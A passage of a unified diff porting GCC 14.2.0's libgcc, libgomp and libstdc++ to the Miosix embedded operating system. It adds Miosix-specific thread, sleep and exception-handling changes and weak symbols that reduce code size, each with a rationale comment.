as we get ++ * libgcc.a(unwind-arm.o): relocation R_ARM_REL32 against external or undefined symbol `__gnu_Unwind_Find_exidx' can not be used when making a PIE executable; recompile with -fPIC ++ * unwind-arm-common.inc:237:(.text+0x138): dangerous relocation: unsupported relocation ++ * Since in Miosix we have __exidx_start|end, just remove this code ++ */ ++// TODO: #ifndef _MIOSIX does not work in this context ++#if 0 + if (__gnu_Unwind_Find_exidx) + { + eitp = (const __EIT_entry *) __gnu_Unwind_Find_exidx (return_address, +@@ -307,6 +320,10 @@ + eitp = &__exidx_start; + nrec = &__exidx_end - &__exidx_start; + } ++#else // _MIOSIX ++ eitp = &__exidx_start; ++ nrec = &__exidx_end - &__exidx_start; ++#endif + + eitp = search_EIT_table (eitp, nrec, return_address); + +diff -ruN gcc-14.2.0-old/libgcc/unwind-sjlj.c gcc-14.2.0/libgcc/unwind-sjlj.c +--- gcc-14.2.0-old/libgcc/unwind-sjlj.c 2024-08-01 10:17:17.000000000 +0200 ++++ gcc-14.2.0/libgcc/unwind-sjlj.c 2025-11-02 17:03:47.872049594 +0100 +@@ -91,7 +91,14 @@ + _Unwind_Personality_Fn personality; + } _Unwind_FrameState; + +- ++ ++// RATIONALE: _Miosix_set_sjlj_ptr and _Miosix_get_sjlj_ptr make ++// exception handling thread-safe even if Miosix does not support TLS ++// NOTE: C++ uses exception support is in eh_globals.cc, is there any code that ++// triggers these to be called? Otherwise we may either keep them if Miosix ++// will support architectures with sjlj exceptions, or even remove this patch ++#ifndef _MIOSIX ++ + /* Manage the chain of registered function contexts. */ + + /* Single threaded fallback chain. */ +@@ -163,6 +170,32 @@ + fc_static = fc; + } + ++#else //_MIOSIX ++ ++void _Miosix_set_sjlj_ptr(void* ptr); ++void *_Miosix_get_sjlj_ptr(); ++ ++void ++_Unwind_SjLj_Register (struct SjLj_Function_Context *fc) ++{ ++ fc->prev=_Miosix_get_sjlj_ptr(); ++ _Miosix_set_sjlj_ptr(fc); ++} ++ ++static inline struct SjLj_Function_Context * ++_Unwind_SjLj_GetContext (void) ++{ ++ return _Miosix_get_sjlj_ptr(); ++} ++ ++static inline void ++_Unwind_SjLj_SetContext (struct SjLj_Function_Context *fc) ++{ ++ _Miosix_set_sjlj_ptr(fc); ++} ++ ++#endif //_MIOSIX ++ + void + _Unwind_SjLj_Unregister (struct SjLj_Function_Context *fc) + { +diff -ruN gcc-14.2.0-old/libgomp/config/posix/omp-lock.h gcc-14.2.0/libgomp/config/posix/omp-lock.h +--- gcc-14.2.0-old/libgomp/config/posix/omp-lock.h 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libgomp/config/posix/omp-lock.h 2025-11-02 17:03:47.876049639 +0100 +@@ -8,7 +8,9 @@ + thread than the one that called pthread_mutex_lock. */ + + #include ++#ifndef HAVE_BROKEN_POSIX_SEMAPHORES + #include ++#endif + + typedef pthread_mutex_t omp_lock_25_t; + typedef struct { pthread_mutex_t lock; int count; } omp_nest_lock_25_t; +diff -ruN gcc-14.2.0-old/libgomp/config/posix/sem.h gcc-14.2.0/libgomp/config/posix/sem.h +--- gcc-14.2.0-old/libgomp/config/posix/sem.h 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libgomp/config/posix/sem.h 2025-11-02 17:03:47.876049639 +0100 +@@ -38,7 +38,9 @@ + # pragma GCC visibility push(default) + #endif + ++#ifndef HAVE_BROKEN_POSIX_SEMAPHORES + #include ++#endif + + #ifdef HAVE_ATTRIBUTE_VISIBILITY + # pragma GCC visibility pop +diff -ruN gcc-14.2.0-old/libgomp/configure gcc-14.2.0/libgomp/configure +--- gcc-14.2.0-old/libgomp/configure 2024-08-01 10:18:42.000000000 +0200 ++++ gcc-14.2.0/libgomp/configure 2025-11-02 17:03:47.876049639 +0100 +@@ -15427,6 +15427,11 @@ + $as_echo "#define HAVE_BROKEN_POSIX_SEMAPHORES 1" >>confdefs.h + + ;; ++ *-miosix*) ++ ++$as_echo "#define HAVE_BROKEN_POSIX_SEMAPHORES 1" >>confdefs.h ++ ++ ;; + esac + + # RTEMS specific checks +diff -ruN gcc-14.2.0-old/libgomp/configure.ac gcc-14.2.0/libgomp/configure.ac +--- gcc-14.2.0-old/libgomp/configure.ac 2024-08-01 10:18:42.000000000 +0200 ++++ gcc-14.2.0/libgomp/configure.ac 2025-11-02 17:03:47.876049639 +0100 +@@ -244,6 +244,10 @@ + AC_DEFINE(HAVE_BROKEN_POSIX_SEMAPHORES, 1, + Define if the POSIX Semaphores do not work on your system.) + ;; ++ *-miosix*) ++ AC_DEFINE(HAVE_BROKEN_POSIX_SEMAPHORES, 1, ++ Define if the POSIX Semaphores do not work on your system.) ++ ;; + esac + + # RTEMS specific checks +diff -ruN gcc-14.2.0-old/libgomp/configure.tgt gcc-14.2.0/libgomp/configure.tgt +--- gcc-14.2.0-old/libgomp/configure.tgt 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libgomp/configure.tgt 2025-11-02 17:03:47.876049639 +0100 +@@ -172,6 +172,12 @@ + config_path="nvptx accel" + ;; + ++ *-miosix-*) ++ config_path="posix" ++ # libgomp uses pthread_exit which on Miosix throws a terminate exception ++ XCFLAGS="${XCFLAGS} -fexceptions" ++ ;; ++ + *-*-rtems*) + # Use self-contained synchronization objects if provided by Newlib + if test "x$ac_cv_type_struct__Mutex_Control" = xyes ; then +diff -ruN gcc-14.2.0-old/libgomp/libgomp.h gcc-14.2.0/libgomp/libgomp.h +--- gcc-14.2.0-old/libgomp/libgomp.h 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libgomp/libgomp.h 2025-11-02 17:03:47.876049639 +0100 +@@ -967,9 +967,22 @@ + } + #else + extern pthread_key_t gomp_tls_key; ++struct gomp_thread *gomp_initialize_tls_key (void); + static inline struct gomp_thread *gomp_thread (void) + { +- return pthread_getspecific (gomp_tls_key); ++ /* NOTE: if openmp is only used by main(), then initialize_team() takes care ++ * of initializing gomp_tls_key for main() as team leader. However, if the ++ * application spawns a thread using pthread, C11 or C++11 threads and *that* ++ * thread tries to call some OpenMP-parallelized code, no one initialized ++ * gomp_tls_key for that thread, and pthread_getspecific() returns NULL. ++ * Calling gomp_initialize_tls_key() solves the issue. ++ */ ++ void *gomp_tls_ptr = pthread_getspecific (gomp_tls_key); ++ if (!gomp_tls_ptr) ++ { ++ gomp_tls_ptr = gomp_initialize_tls_key (); ++ } ++ return gomp_tls_ptr; + } + #endif + +diff -ruN gcc-14.2.0-old/libgomp/omp.h.in gcc-14.2.0/libgomp/omp.h.in +--- gcc-14.2.0-old/libgomp/omp.h.in 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libgomp/omp.h.in 2025-11-02 17:03:47.876049639 +0100 +@@ -137,7 +137,12 @@ + __omp_allocator_handle_t_max__ = __UINTPTR_MAX__ + } omp_allocator_handle_t; + +-typedef enum omp_alloctrait_key_t ++/* ++ * Patch rationale: force this to be 4 bytes. Somehow when compiled with GCC 14 ++ * this is 8 bytes, failing an assertion in libgomp_f.h:omp_check_defines() ++ */ ++typedef uint32_t omp_alloctrait_key_t; ++typedef enum _omp_alloctrait_key_t + { + omp_atk_sync_hint = 1, + omp_atk_alignment = 2, +@@ -147,7 +152,7 @@ + omp_atk_fb_data = 6, + omp_atk_pinned = 7, + omp_atk_partition = 8 +-} omp_alloctrait_key_t; ++} _omp_alloctrait_key_t; + + typedef enum omp_alloctrait_value_t + { +diff -ruN gcc-14.2.0-old/libgomp/team.c gcc-14.2.0/libgomp/team.c +--- gcc-14.2.0-old/libgomp/team.c 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libgomp/team.c 2025-11-02 19:01:46.085494025 +0100 +@@ -43,6 +43,20 @@ + __thread struct gomp_thread gomp_tls_data; + #else + pthread_key_t gomp_tls_key; ++ ++struct gomp_thread *gomp_initialize_tls_key (void) ++{ ++ struct gomp_thread *gomp_tls_ptr = malloc (sizeof (struct gomp_thread)); ++ if (!gomp_tls_ptr) gomp_fatal ("Out of memory"); ++ memset (gomp_tls_ptr, 0, sizeof (struct gomp_thread)); ++ pthread_setspecific (gomp_tls_key, gomp_tls_ptr); ++ return gomp_tls_ptr; ++} ++ ++void gomp_delete_tls_key (void* ptr) ++{ ++ free (ptr); ++} + #endif + + +@@ -78,8 +92,7 @@ + #if defined HAVE_TLS || defined USE_EMUTLS + thr = &gomp_tls_data; + #else +- struct gomp_thread local_thr; +- thr = &local_thr; ++ thr = gomp_initialize_tls_key (); + #endif + gomp_sem_init (&thr->release, 0); + +@@ -95,9 +108,6 @@ + #ifdef GOMP_NEEDS_THREAD_HANDLE + thr->handle = data->handle; + #endif +-#if !(defined HAVE_TLS || defined USE_EMUTLS) +- pthread_setspecific (gomp_tls_key, thr); +-#endif + + thr->ts.team->ordered_release[thr->ts.team_id] = &thr->release; + +@@ -262,9 +272,13 @@ + /* Free a thread pool and release its threads. */ + + void +-gomp_free_thread (void *arg __attribute__((unused))) ++gomp_free_thread (void *arg) + { +- struct gomp_thread *thr = gomp_thread (); ++ // NOTE: we cannot call gomp_thread () here as it calls pthread_getspecific () ++ // and the POSIX semantics require the pthread_key value to be set to NULL ++ // before calling the destructor. We must get the struct gomp_thread pointer ++ // from the arg parameter! ++ struct gomp_thread *thr = (struct gomp_thread *) arg; + struct gomp_thread_pool *pool = thr->thread_pool; + if (pool) + { +@@ -1022,10 +1036,8 @@ + initialize_team (void) + { + #if !defined HAVE_TLS && !defined USE_EMUTLS +- static struct gomp_thread initial_thread_tls_data; +- +- pthread_key_create (&gomp_tls_key, NULL); +- pthread_setspecific (gomp_tls_key, &initial_thread_tls_data); ++ pthread_key_create (&gomp_tls_key, gomp_delete_tls_key); ++ gomp_initialize_tls_key (); + #endif + + if (pthread_key_create (&gomp_thread_destructor, gomp_free_thread) != 0) +diff -ruN gcc-14.2.0-old/libstdc++-v3/configure gcc-14.2.0/libstdc++-v3/configure +--- gcc-14.2.0-old/libstdc++-v3/configure 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libstdc++-v3/configure 2025-11-02 17:03:47.884049732 +0100 +@@ -15967,6 +15967,7 @@ + dce) thread_header=config/pa/gthr-dce.h ;; + gcn) thread_header=config/gcn/gthr-gcn.h ;; + lynx) thread_header=config/gthr-lynx.h ;; ++ miosix) thread_header=config/gthr-miosix.h ;; + mipssde) thread_header=config/mips/gthr-mipssde.h ;; + posix) thread_header=gthr-posix.h ;; + rtems) thread_header=config/gthr-rtems.h ;; +@@ -21396,6 +21397,23 @@ + ac_has_sched_yield=yes + esac + ++ # apparently the miosix in arm-miosix-eabi is ${target_vendor} ++ case "${target_vendor}" in ++ miosix*) ++ # Rationale: src/c++11/chrono.cc src/c++11/thread.cc include/std/thread ++ # need to target the best syscalls for querying the time and sleeping, ++ # which are ++ # clock_gettime(CLOCK_REALTIME, &tp); //starting Jan 1st, 1970 ++ # clock_gettime(CLOCK_MONOTONIC, &tp); //starting @ boot ++ # clock_nanosleep(CLOCK_MONOTONIC, 0, &__ts, &__ts); ++ # clock_nanosleep(CLOCK_MONOTONIC, TIMER_ABSTIME, &__ts, &__ts); ++ ac_has_clock_realtime=yes ++ ac_has_clock_monotonic=yes ++ ac_has_nanosleep=yes ++ ac_has_sched_yield=yes ++ ;; ++ esac ++ + elif test x"$enable_libstdcxx_time" != x"no"; then + + if test x"$enable_libstdcxx_time" = x"rt"; then +diff -ruN gcc-14.2.0-old/libstdc++-v3/include/bits/basic_string.tcc gcc-14.2.0/libstdc++-v3/include/bits/basic_string.tcc +--- gcc-14.2.0-old/libstdc++-v3/include/bits/basic_string.tcc 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libstdc++-v3/include/bits/basic_string.tcc 2025-11-02 17:03:47.884049732 +0100 +@@ -965,6 +965,14 @@ + return __in; + } + ++/* ++ * Disabling instantiation of std::string from user code forces the use of ++ * the instantiation in string-inst.cc which may reduce compile ++ * times but it hardcodes that C++ exceptions are enabled causing code bloat, as ++ * arm-miosix-eabi-objdump -t string-inst.o | grep '\*UND\*.*__cxa' ++ * shows. ++ */ ++#ifndef _MIOSIX + // Inhibit implicit instantiations for required instantiations, + // which are defined via explicit instantiations elsewhere. + #if _GLIBCXX_EXTERN_TEMPLATE +@@ -1028,6 +1036,8 @@ + #endif // _GLIBCXX_USE_WCHAR_T + #endif // _GLIBCXX_EXTERN_TEMPLATE + ++#endif //_MIOSIX ++ + _GLIBCXX_END_NAMESPACE_VERSION + } // namespace std + +diff -ruN gcc-14.2.0-old/libstdc++-v3/include/bits/fstream.tcc gcc-14.2.0/libstdc++-v3/include/bits/fstream.tcc +--- gcc-14.2.0-old/libstdc++-v3/include/bits/fstream.tcc 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libstdc++-v3/include/bits/fstream.tcc 2025-11-02 17:03:47.884049732 +0100 +@@ -80,7 +80,12 @@ + basic_filebuf<_CharT, _Traits>:: + basic_filebuf() : __streambuf_type(), _M_lock(), _M_file(&_M_lock), + _M_mode(ios_base::openmode(0)), _M_state_beg(), _M_state_cur(), +- _M_state_last(), _M_buf(0), _M_buf_size(_GLIBCXX_BUFSIZ), ++ _M_state_last(), _M_buf(0), ++#ifndef _MIOSIX ++ _M_buf_size(_GLIBCXX_BUFSIZ), ++#else ++ _M_buf_size(_GLIBCXX_BUFSIZ + 1), // By TFT: +1 to optimize reads/writes ++#endif + _M_buf_allocated(false), _M_reading(false), _M_writing(false), _M_pback(), + _M_pback_cur_save(0), _M_pback_end_save(0), _M_pback_init(false), + _M_codecvt(0), _M_ext_buf(0), _M_ext_buf_size(0), _M_ext_next(0), +diff -ruN gcc-14.2.0-old/libstdc++-v3/include/bits/std_thread.h gcc-14.2.0/libstdc++-v3/include/bits/std_thread.h +--- gcc-14.2.0-old/libstdc++-v3/include/bits/std_thread.h 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libstdc++-v3/include/bits/std_thread.h 2025-11-03 12:13:42.294225663 +0100 +@@ -49,10 +49,21 @@ + # include + #endif + ++// Patch rationale: join() and detach() need this ++#ifdef _MIOSIX ++# include ++# include ++#endif ++ + namespace std _GLIBCXX_VISIBILITY(default) + { + _GLIBCXX_BEGIN_NAMESPACE_VERSION + ++// Patch rationale: _M_start_thread needs this ++#ifdef _MIOSIX ++ extern "C" void* execute_native_thread_routine(void* __p); ++#endif ++ + #if __glibcxx_formatters + template class formatter; + #endif +@@ -102,6 +113,11 @@ + + explicit + id(native_handle_type __id) : _M_thread(__id) { } ++ ++ // Patch rationale: join() and detach() patches need this ++#ifdef _MIOSIX ++ native_handle_type _M_get() const noexcept { return _M_thread; } ++#endif + + private: + friend class thread; +@@ -205,11 +221,42 @@ + joinable() const noexcept + { return !(_M_id == id()); } + ++#ifndef _MIOSIX + void + join(); + + void + detach(); ++#else ++ // Patch rationale: compiling these in libstdc++.a pulls in exceptions ++ void ++ join() ++ { ++ int __e = EINVAL; ++ ++ if (!(_M_id == id())) ++ __e = __gthread_join(_M_id._M_thread, 0); ++ ++ if (__e) ++ __throw_system_error(__e); ++ ++ _M_id = id(); ++ } ++ ++ void ++ detach() ++ { ++ int __e = EINVAL; ++ ++ if (!(_M_id == id())) ++ __e = __gthread_detach(_M_id._M_thread); ++ ++ if (__e) ++ __throw_system_error(__e); ++ ++ _M_id = id(); ++ } ++#endif + + id + get_id() const noexcept +@@ -253,8 +300,25 @@ + _M_run() { _M_func(); } + }; + ++#ifndef _MIOSIX + void + _M_start_thread(_State_ptr, void (*)()); ++#else ++ //Patch rationale: compiling this in libstdc++.a pulls in exceptions ++ void ++ _M_start_thread(_State_ptr state, void (*depend)()) ++ { ++ // Make sure it's not optimized out, not even with LTO. ++ asm ("" : : "rm" (depend)); ++ ++ const int err = __gthread_create(&_M_id._M_thread, ++ &execute_native_thread_routine, ++ state.get()); ++ if (err) ++ __throw_system_error(err); ++ state.release(); ++ } ++#endif + + #if _GLIBCXX_THREAD_ABI_COMPAT + public: +diff -ruN gcc-14.2.0-old/libstdc++-v3/include/bits/this_thread_sleep.h gcc-14.2.0/libstdc++-v3/include/bits/this_thread_sleep.h +--- gcc-14.2.0-old/libstdc++-v3/include/bits/this_thread_sleep.h 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libstdc++-v3/include/bits/this_thread_sleep.h 2025-11-02 17:03:47.884049732 +0100 +@@ -77,8 +77,14 @@ + static_cast(__s.count()), + static_cast(__ns.count()) + }; ++ // Patch rationale: use Miosix preferred sleep function ++#ifdef _MIOSIX ++ while (::clock_nanosleep(CLOCK_MONOTONIC, 0, &__ts, &__ts) == -1 && errno == EINTR) ++ { } ++#else //_MIOISX + while (::nanosleep(&__ts, &__ts) == -1 && errno == EINTR) + { } ++#endif //_MIOSIX + #else + __sleep_for(__s, __ns); + #endif +@@ -92,6 +98,20 @@ + #if __cplusplus > 201703L + static_assert(chrono::is_clock_v<_Clock>); + #endif ++ // Patch rationale: do not add skew by converting absolute sleep to relative ++#ifdef _MIOSIX ++ auto __rtime = __atime.time_since_epoch(); ++ auto __s = chrono::duration_cast(__rtime); ++ auto __ns = chrono::duration_cast(__rtime - __s); ++ __gthread_time_t __ts = ++ { ++ static_cast(__s.count()), ++ static_cast(__ns.count()) ++ }; ++ clockid_t __clk = _Clock::is_steady ? CLOCK_MONOTONIC : CLOCK_REALTIME; ++ while (::clock_nanosleep(__clk, TIMER_ABSTIME, &__ts, &__ts) == -1 && errno == EINTR) ++ { } ++#else // _MIOSIX + auto __now = _Clock::now(); + if (_Clock::is_steady) + { +@@ -104,6 +124,7 @@ + sleep_for(__atime - __now); + __now = _Clock::now(); + } ++#endif // _MIOSIX + } + #endif // ! NO_SLEEP + } // namespace this_thread +diff -ruN gcc-14.2.0-old/libstdc++-v3/include/std/condition_variable gcc-14.2.0/libstdc++-v3/include/std/condition_variable +--- gcc-14.2.0-old/libstdc++-v3/include/std/condition_variable 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libstdc++-v3/include/std/condition_variable 2025-11-02 23:41:17.140080594 +0100 +@@ -82,12 +82,26 @@ + public: + typedef __gthread_cond_t* native_handle_type; + ++/* ++ * This patch works together with the one in src/c++11/condition_variable.cc ++ */ ++#ifndef _MIOSIX ++ + condition_variable() noexcept; + ~condition_variable() noexcept; ++ ++#else //_MIOSIX ++ ++ condition_variable() noexcept = default; ++ ~condition_variable() noexcept = default; ++ ++#endif //_MIOSIX + + condition_variable(const condition_variable&) = delete; + condition_variable& operator=(const condition_variable&) = delete; + ++#ifndef _MIOSIX ++ + void + notify_one() noexcept; + +@@ -97,6 +111,28 @@ + void + wait(unique_lock& __lock); + ++#else // _MIOSIX ++ ++ void ++ notify_one() noexcept ++ { ++ _M_cond.notify_one(); ++ } ++ ++ void ++ notify_all() noexcept ++ { ++ _M_cond.notify_all(); ++ } ++ ++ void ++ wait(unique_lock& __lock) ++ { ++ _M_cond.wait(*__lock.mutex()); ++ } ++ ++#endif // _MIOSIX ++ + template + void + wait(unique_lock& __lock, _Predicate __p) +diff -ruN gcc-14.2.0-old/libstdc++-v3/libsupc++/bad_array_length.cc gcc-14.2.0/libstdc++-v3/libsupc++/bad_array_length.cc +--- gcc-14.2.0-old/libstdc++-v3/libsupc++/bad_array_length.cc 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libstdc++-v3/libsupc++/bad_array_length.cc 2025-11-02 17:03:47.884049732 +0100 +@@ -48,9 +48,18 @@ + + } // namespace std + ++// RATIONALE: adding __attribute__((weak)) to these functions allows redefining ++// them if compiling without exceptions to avoid pulling in exception support ++// and save code size ++#ifdef _MIOSIX ++#define AW __attribute__((weak)) ++#else ++#define AW ++#endif ++ + namespace __cxxabiv1 { + +-extern "C" void ++extern "C" void AW + __cxa_throw_bad_array_length () + { _GLIBCXX_THROW_OR_ABORT(std::bad_array_length()); } + +diff -ruN gcc-14.2.0-old/libstdc++-v3/libsupc++/eh_alloc.cc gcc-14.2.0/libstdc++-v3/libsupc++/eh_alloc.cc +--- gcc-14.2.0-old/libstdc++-v3/libsupc++/eh_alloc.cc 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libstdc++-v3/libsupc++/eh_alloc.cc 2025-11-02 17:03:47.892049824 +0100 +@@ -114,6 +114,14 @@ + # endif + #endif + ++// RATIONALE: reduced emergency buffer for ARM microcontrollers, saves RAM ++#ifdef _MIOSIX ++# undef EMERGENCY_OBJ_SIZE ++# undef EMERGENCY_OBJ_COUNT ++# define EMERGENCY_OBJ_SIZE 160 ++# define EMERGENCY_OBJ_COUNT 3 ++#endif ++ + #if defined _GLIBCXX_EH_POOL_STATIC && EMERGENCY_OBJ_COUNT == 0 + # define USE_POOL 0 + #else +diff -ruN gcc-14.2.0-old/libstdc++-v3/libsupc++/eh_aux_runtime.cc gcc-14.2.0/libstdc++-v3/libsupc++/eh_aux_runtime.cc +--- gcc-14.2.0-old/libstdc++-v3/libsupc++/eh_aux_runtime.cc 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libstdc++-v3/libsupc++/eh_aux_runtime.cc 2025-11-02 17:03:47.896049870 +0100 +@@ -29,14 +29,23 @@ + #include "unwind-cxx.h" + #include + +-extern "C" void ++// RATIONALE: adding __attribute__((weak)) to these functions allows redefining ++// them if compiling without exceptions to avoid pulling in exception support ++// and save code size ++#ifdef _MIOSIX ++#define AW __attribute__((weak)) ++#else ++#define AW ++#endif ++ ++extern "C" void AW + __cxxabiv1::__cxa_bad_cast () + { _GLIBCXX_THROW_OR_ABORT(std::bad_cast()); } + +-extern "C" void ++extern "C" void AW + __cxxabiv1::__cxa_bad_typeid () + { _GLIBCXX_THROW_OR_ABORT(std::bad_typeid()); } + +-extern "C" void ++extern "C" void AW + __cxxabiv1::__cxa_throw_bad_array_new_length () + { _GLIBCXX_THROW_OR_ABORT(std::bad_array_new_length()); } +diff -ruN gcc-14.2.0-old/libstdc++-v3/libsupc++/eh_globals.cc gcc-14.2.0/libstdc++-v3/libsupc++/eh_globals.cc +--- gcc-14.2.0-old/libstdc++-v3/libsupc++/eh_globals.cc 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libstdc++-v3/libsupc++/eh_globals.cc 2025-11-02 22:57:28.189830748 +0100 +@@ -41,6 +41,11 @@ + + using namespace __cxxabiv1; + ++// RATIONALE: __cxa_get_globals() and __cxa_get_globals_fast() have been moved ++// to libmiosix.a (kernel) / libsyscalls.a (userspace) since the __cxa_eh_globals ++// struct needs to be provided per-thread but Miosix does not support TLS ++#ifndef _MIOSIX ++ + #if _GLIBCXX_HAVE_TLS + + namespace +@@ -174,3 +179,5 @@ + #endif + + #endif ++ ++#endif //_MIOSIX +diff -ruN gcc-14.2.0-old/libstdc++-v3/libsupc++/eh_terminate.cc gcc-14.2.0/libstdc++-v3/libsupc++/eh_terminate.cc +--- gcc-14.2.0-old/libstdc++-v3/libsupc++/eh_terminate.cc 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libstdc++-v3/libsupc++/eh_terminate.cc 2025-11-02 17:03:47.896049870 +0100 +@@ -38,6 +38,15 @@ + } + #endif + ++// RATIONALE: adding __attribute__((weak)) to these functions allows redefining ++// them if compiling without exceptions to avoid pulling in exception support ++// and save code size ++#ifdef _MIOSIX ++#define AW __attribute__((weak)) ++#else ++#define AW ++#endif ++ + using namespace __cxxabiv1; + + void +@@ -52,7 +61,7 @@ + { std::abort (); } + } + +-void ++void AW + std::terminate () throw() + { + __cxxabiv1::__terminate (get_terminate ()); +@@ -66,7 +75,7 @@ + std::terminate (); + } + +-void ++void AW + std::unexpected () + { + __unexpected (get_unexpected ()); +diff -ruN gcc-14.2.0-old/libstdc++-v3/libsupc++/guard.cc gcc-14.2.0/libstdc++-v3/libsupc++/guard.cc +--- gcc-14.2.0-old/libstdc++-v3/libsupc++/guard.cc 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libstdc++-v3/libsupc++/guard.cc 2025-11-02 23:14:43.445742814 +0100 +@@ -55,6 +55,13 @@ + + } // namespace __cxxabiv1 + ++#elif defined(_MIOSIX) ++ ++// RATIONALE: __cxa_guard_[acquire|release|abort] have been moved to ++// libmiosix.a (kernel) / libsyscalls.a (userspace) as static object ++// initialization can occur also before the kernel is started, therefore at a ++// time when using pthread_mutex and pthread_cond is unsafe. ++ + #else // __USING_MCFGTHREAD__ + + #include +diff -ruN gcc-14.2.0-old/libstdc++-v3/libsupc++/pure.cc gcc-14.2.0/libstdc++-v3/libsupc++/pure.cc +--- gcc-14.2.0-old/libstdc++-v3/libsupc++/pure.cc 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libstdc++-v3/libsupc++/pure.cc 2025-11-02 17:03:47.896049870 +0100 +@@ -43,14 +43,23 @@ + # define writestr(str) /* Empty */ + #endif + +-extern "C" void ++// RATIONALE: adding __attribute__((weak)) to these functions allows redefining ++// them if compiling without exceptions to avoid pulling in exception support ++// and save code size ++#ifdef _MIOSIX ++#define AW __attribute__((weak)) ++#else ++#define AW ++#endif ++ ++extern "C" void AW + __cxxabiv1::__cxa_pure_virtual (void) + { + writestr ("pure virtual method called\n"); + std::terminate (); + } + +-extern "C" void ++extern "C" void AW + __cxxabiv1::__cxa_deleted_virtual (void) + { + writestr ("deleted virtual method called\n"); +diff -ruN gcc-14.2.0-old/libstdc++-v3/libsupc++/vterminate.cc gcc-14.2.0/libstdc++-v3/libsupc++/vterminate.cc +--- gcc-14.2.0-old/libstdc++-v3/libsupc++/vterminate.cc 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libstdc++-v3/libsupc++/vterminate.cc 2025-11-02 17:03:47.896049870 +0100 +@@ -31,13 +31,33 @@ + #include + # include + ++#include ++ + using namespace std; + using namespace abi; + ++// RATIONALE: add __attribute__((weak)) to make __verbose_terminate_handler ++// overridable to save the code size of __cxa_demangle ++#ifdef _MIOSIX ++#define AW __attribute__((weak)) ++#else ++#define AW ++#endif ++ + namespace __gnu_cxx + { + _GLIBCXX_BEGIN_NAMESPACE_VERSION + ++ // XXX: having trouble overriding weak functions in Miosix processes, ++ // and this function is increasing code size significantly, replacing it ++ void AW __verbose_terminate_handler() ++ { ++ write(1,"terminate called\n",17); ++ _exit(1); ++ } ++ ++#if 0 ++ + // A replacement for the standard terminate_handler which prints + // more information about the terminating exception (if any) on + // stderr. +@@ -95,6 +115,8 @@ + abort(); + } + ++#endif ++ + _GLIBCXX_END_NAMESPACE_VERSION + } // namespace + +diff -ruN gcc-14.2.0-old/libstdc++-v3/src/c++11/condition_variable.cc gcc-14.2.0/libstdc++-v3/src/c++11/condition_variable.cc +--- gcc-14.2.0-old/libstdc++-v3/src/c++11/condition_variable.cc 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libstdc++-v3/src/c++11/condition_variable.cc 2025-11-02 17:03:47.896049870 +0100 +@@ -31,6 +31,16 @@ + { + _GLIBCXX_BEGIN_NAMESPACE_VERSION + ++/* ++ * Patch rationale: this file is compiled when libstdc++ is built, with ++ * exceptions enabled. When Miosix is compiled with exceptions disabled and ++ * these are used, they cause some of the exception support to be pulled in ++ * increasing code size. These are also so simple that inlining them will ++ * make condition_variable faster. A win-win. ++ * This patch works together with the one in include/std/condition_variable ++ */ ++#ifndef _MIOSIX ++ + condition_variable::condition_variable() noexcept = default; + + condition_variable::~condition_variable() noexcept = default; +@@ -53,6 +63,8 @@ + _M_cond.notify_all(); + } + ++#endif //_MIOSIX ++ + extern void + __at_thread_exit(__at_thread_exit_elt*); + +diff -ruN gcc-14.2.0-old/libstdc++-v3/src/c++11/functexcept.cc gcc-14.2.0/libstdc++-v3/src/c++11/functexcept.cc +--- gcc-14.2.0-old/libstdc++-v3/src/c++11/functexcept.cc 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libstdc++-v3/src/c++11/functexcept.cc 2025-11-02 17:03:47.900049916 +0100 +@@ -35,6 +35,15 @@ + # define _(msgid) (msgid) + #endif + ++// RATIONALE: adding __attribute__((weak)) to these functions allows redefining ++// them if compiling without exceptions to avoid pulling in exception support ++// and save code size ++#ifdef _MIOSIX ++#define AW __attribute__((weak)) ++#else ++#define AW ++#endif ++ + namespace __gnu_cxx + { + int __snprintf_lite(char *__buf, size_t __bufsize, const char *__fmt, +@@ -45,50 +54,57 @@ + { + _GLIBCXX_BEGIN_NAMESPACE_VERSION + +- void ++ void AW + __throw_bad_exception() + { _GLIBCXX_THROW_OR_ABORT(bad_exception()); } + +- void ++ void AW + __throw_bad_alloc() + { _GLIBCXX_THROW_OR_ABORT(bad_alloc()); } + +- void ++ void AW + __throw_bad_array_new_length() + { _GLIBCXX_THROW_OR_ABORT(bad_array_new_length()); } + +- void ++ void AW + __throw_bad_cast() + { _GLIBCXX_THROW_OR_ABORT(bad_cast()); } + +- void ++ void AW + __throw_bad_typeid() + { _GLIBCXX_THROW_OR_ABORT(bad_typeid()); } + +- void ++ void AW + __throw_logic_error(const char* __s __attribute__((unused))) + { _GLIBCXX_THROW_OR_ABORT(logic_error(_(__s))); } + +- void ++ void AW + __throw_domain_error(const char* __s __attribute__((unused))) + { _GLIBCXX_THROW_OR_ABORT(domain_error(_(__s))); } + +- void ++ void AW + __throw_invalid_argument(const char* __s __attribute__((unused))) + { _GLIBCXX_THROW_OR_ABORT(invalid_argument(_(__s))); } + +- void ++ void AW + __throw_length_error(const char* __s __attribute__((unused))) + { _GLIBCXX_THROW_OR_ABORT(length_error(_(__s))); } + +- void ++ void AW + __throw_out_of_range(const char* __s __attribute__((unused))) + { _GLIBCXX_THROW_OR_ABORT(out_of_range(_(__s))); } + +- void ++ void AW + 